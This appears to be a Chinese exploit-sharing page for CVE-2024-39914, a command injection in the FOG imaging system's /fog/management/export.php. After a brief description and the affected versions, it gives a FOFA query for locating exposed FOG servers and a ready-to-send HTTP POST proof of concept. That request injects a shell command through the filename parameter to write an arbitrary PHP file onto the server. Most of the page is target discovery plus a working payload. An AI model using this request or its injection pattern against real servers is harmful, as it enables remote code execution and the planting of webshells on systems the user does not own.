CVE-2024-39914

勾八

8个月前更新

漏洞名称

FOG 在 /fog/management/export.php 中存在命令注入漏洞

漏洞影响

FOG < 1.5.10.34版本

漏洞描述

FOG是一款克隆/成像/救援套件/库存管理系统。在版本低于1.5.10.34的情况下，FOG中的packages/web/lib/fog/reportmaker.class.php文件受到命令注入漏洞的影响，该漏洞存在于/fog/management/export.php的文件名参数中。此漏洞已在版本1.5.10.34中得到修复。

FOFA搜索语句

body=”FOG Project”

1722808513196

POC

POST /fog/management/export.php?filename=$(echo+'文件内容'+>+文件名.php)&type=pdf HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Length: 25
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

评分

欢迎为Ta评分